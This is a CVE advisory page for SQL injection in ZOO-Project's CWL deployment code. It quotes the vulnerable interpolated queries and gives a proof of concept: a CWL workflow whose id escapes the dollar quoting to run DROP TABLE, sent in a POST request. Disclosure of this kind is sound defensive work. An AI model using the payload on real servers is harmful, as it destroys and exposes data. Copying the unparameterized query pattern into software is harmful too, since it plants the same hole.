CVE-2026-104865ZOO-Project SQL Injection
NVD
Vulnerability Summary
Summary Process.run_sql and its helpers (sql_handle_io, sql_add_metadata, sql_add_literal_data_domain, sql_add_complex_data, handle_oneof) build every INSERT/SELECT/UPDATE/DELETE by `%` / `.format()` / f-string interpolation of fields parsed from the user-uploaded CWL application package and the authenticated user name, allowing arbitrary SQL execution during a DeployProcess call. Details `Process.run_sql` is invoked from `DeployProcess.generate_service` (DeployProcess.py L241) on every CWL deployment. It opens a psycopg2 connection and executes a large number of statements built by string interpolation, never using parameter binding. Examples: ```python deploy_util.py L297-302 if "orequest_method" in conf["lenv"]: cur.execute("DELETE FROM collectiondb.ows_process WHERE identifier=$q$%s$q$ and user_id=(select id from public.users where name=$q$%s$q$)" % (self.identifier, self.user)) conn.commit() cur.execute("SELECT id FROM collectiondb.ows_process WHERE identifier=$q$%s$q$ and user_id=(select id from public.users where name=$q$%s$q$)" % (self.identifier, self.user)) L308-313 cur.execute(("INSERT INTO CollectionDB.zoo_DeploymentMetadata"+ "(executable_name,service_type_id)"+ " VALUES "+ " ($q${0}$q$,"+ "(SELECT id from CollectionDB.zoo_ServiceTypes WHERE service_type=$q${1}$q$));") .format(self.service_provider, self.service_type)) L319-321 cur.execute("SELECT id from public.users WHERE name = $q${0}$q$".format(self.user)) ... cur.execute("INSERT INTO public.users (name) VALUES ($q${0}$q$)".format(self.user)); L325-334 cur.execute(("INSERT INTO CollectionDB.ows_Process"+ "(identifier,title,abstract,version,user_id,private_metadata_id,mutable,availability)"+ "VALUES"+ "($q${0}$q$,$q${1}$q$,$q${2}$q$,$q${3}$q$,"+ "(select id from public.users where name=$q${4}$q$),"+ "(SELECT last_value FROM CollectionDB.PrivateMetadataDeploymentMetadataAssignment_id_seq),"+ "true,true);").format(self.identifier, self.title, self.description, self.version, self.user)) L343-345, L351, L356, L364, L369, L379, L387 etc — metadata loop cur.execute("INSERT INTO CollectionDB.ows_Metadata (role,href) "+ "VALUES ($q${0}$q$,$q${1}$q$)".format(item, self.metadata[item])) L400-411 — inputs loop cur.execute(("INSERT INTO CollectionDB.ows_Input (identifier,title,abstract,min_occurs,max_occurs,raw_schema) VALUES "+ "($q${0}$q$,$q${1}$q$,$q${2}$q$,{3},{4},$q${5}$q$);").format( input, myInputs[input].get("title", None), myInputs[input].get("description", None), myInputs[input].get("minOccurs", None), 999 if myInputs[input]["maxOccurs"] == 0 else myInputs[input]["maxOccurs"], json.dumps(myInputs[input].get("schema", None)))) L490-491 — enum values, attacker-controlled cur.execute("INSERT INTO CollectionDB.AllowedValues (allowed_value) VALUES ($q${0}$q$);".format(io_entity["schema"]["enum"][i])) L497-501 — default value, attacker-controlled cur.execute("UPDATE CollectionDB.LiteralDataDomain"+ " set default_value = $q${0}$q$ ".format(io_entity["schema"]["default"])+ ...) L548 — f-string with attacker-controlled fetchone cur.execute(f"INSERT INTO CollectionDB.ows_DataDescription (format_id,data_format_id) VALUES ((SELECT last_value FROM CollectionDB.ows_Format_id_seq),{val[0]});") ``` Taint sources: - `self.identifier`, `self.title`, `self.description`, `self.version`, `self.metadata`, `self.cwl2ogc_converter.get_inputs()/get_outputs()`, `io_entity["schema"]["enum"]`, `io_entity["schema"]["default"]`, etc. all derive from the user-uploaded CWL document (`inputs["applicationPackage"]["value"]`, parsed by `yaml.safe_load` in `DeployProcess.get_application_package`). The CWL `id`, `label`, `doc`, `schema.org/softwareVersion`, `$namespaces`, schema `enum`/`default`/`type`/`format` and any extension field are entirely attacker-controlled. `Process.create_from_cwl` performs no sanitization; `re.sub(".*#", '', workflow.id)` strips a fragment prefix but leaves the rest unchanged. - `self.user` is `conf['auth_env']['user']`, set from the Basic-Auth username (basicAuth/service.c parseBasic L186-201) or JWT `sub`/`user_name` (jwt/cgi-env/security_service.py L74-125), defaulting to `"anonymous"`. None of these paths sanitize the value. The interpolation uses `$q$...$q$` dollar quoting almost everywhere, but that is not an injection-safe escape: the attacker simply includes the literal token `$q$` in their value to terminate the dollar quoting and append arbitrary SQL. Several sites (L490, L497, L526, L529, L536, L543, L548, etc.) interpolate with no quoting at all, and L308 / L325 / L400 / L548 use bracketed `.format()` / f-string substitution of attacker-controlled fields directly into SQL. No `cur.execute(query, params)` call with bound parameters is used anywhere in the function. Proof of concept Upload a malicious CWL workflow whose `id` (or `label`/`doc`/`schema.org/softwareVersion`) carries an injected payload that closes the dollar quoting: ```yaml cwlVersion: v1.0 $graph: - class: Workflow id: 'pwned$q$,$q$x$q$,$q$x$q$,$q$1$q$,(select id from public.users limit 1),0,true,true);DROP TABLE collectiondb.ows_process;--' inputs: [] outputs: [] label: pwn doc: pwn ``` Send it with a normal OGC API Processes deployment request: ``` POST /processes HTTP/1.1 Host: target Content-Type: application/cwl+yaml Authorization: Basic YWxpY2U6cGFzcw== <the YAML above> ``` In `Process.run_sql`, `self.identifier` becomes the injected string. The interpolated `INSERT INTO CollectionDB.ows_Process ... VALUES ($q$<payload>$q$, ...)` resolves to a multi-statement SQL string where the attacker's `DROP TABLE` runs after the dollar-quote-terminating `$q$`. The same trick works through `self.user` (Basic-Auth username), `metadata` values, input/output identifiers, or CWL enum/default values. Several call sites (L490, L497, L548 etc.) also flow into unquoted integer positions, where the standard `1; <stmt>;--` injection works without needing to escape any quoting. Impact Any caller able to reach the DeployProcess endpoint (no built-in authentication; many deployments expose it openly under OGC API Processes) gains arbitrary SQL execution against the ZOO-Project metadata PostgreSQL database (CollectionDB and public schemas). The connection is opened with the configured `metadb.user`/`metadb.password`, typically a privileged account, so the attacker can read or modify every process definition, exfiltrate or rewrite the users table, drop tables and, on PostgreSQL installs that allow `COPY PROGRAM` or extensions, achieve OS command execution on the database host. Because the injection sites span both `format`/`%` and f-string interpolation across many helpers, the surface is large and unauthenticated. References - CWE-89 - OWASP A03:2021 Injection - https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-DOLLAR-QUOTING - https://www.psycopg.org/docs/usage.html#passing-parameters-to-sql-queries
CVSS v3.1 Base Metrics — Score 10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
Affected & Patched Versions
- ZOO-Project <= 2.1.0
- ZOO-Project afc0403
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run ZOO-Project and which version.
- Update to a patched version listed above, then confirm the new version.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Aug 17, 2026Published
- Aug 17, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new ZOO-Project CVEsYou are reading CVE-2026-104865. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 25, 2026 14:00 UTC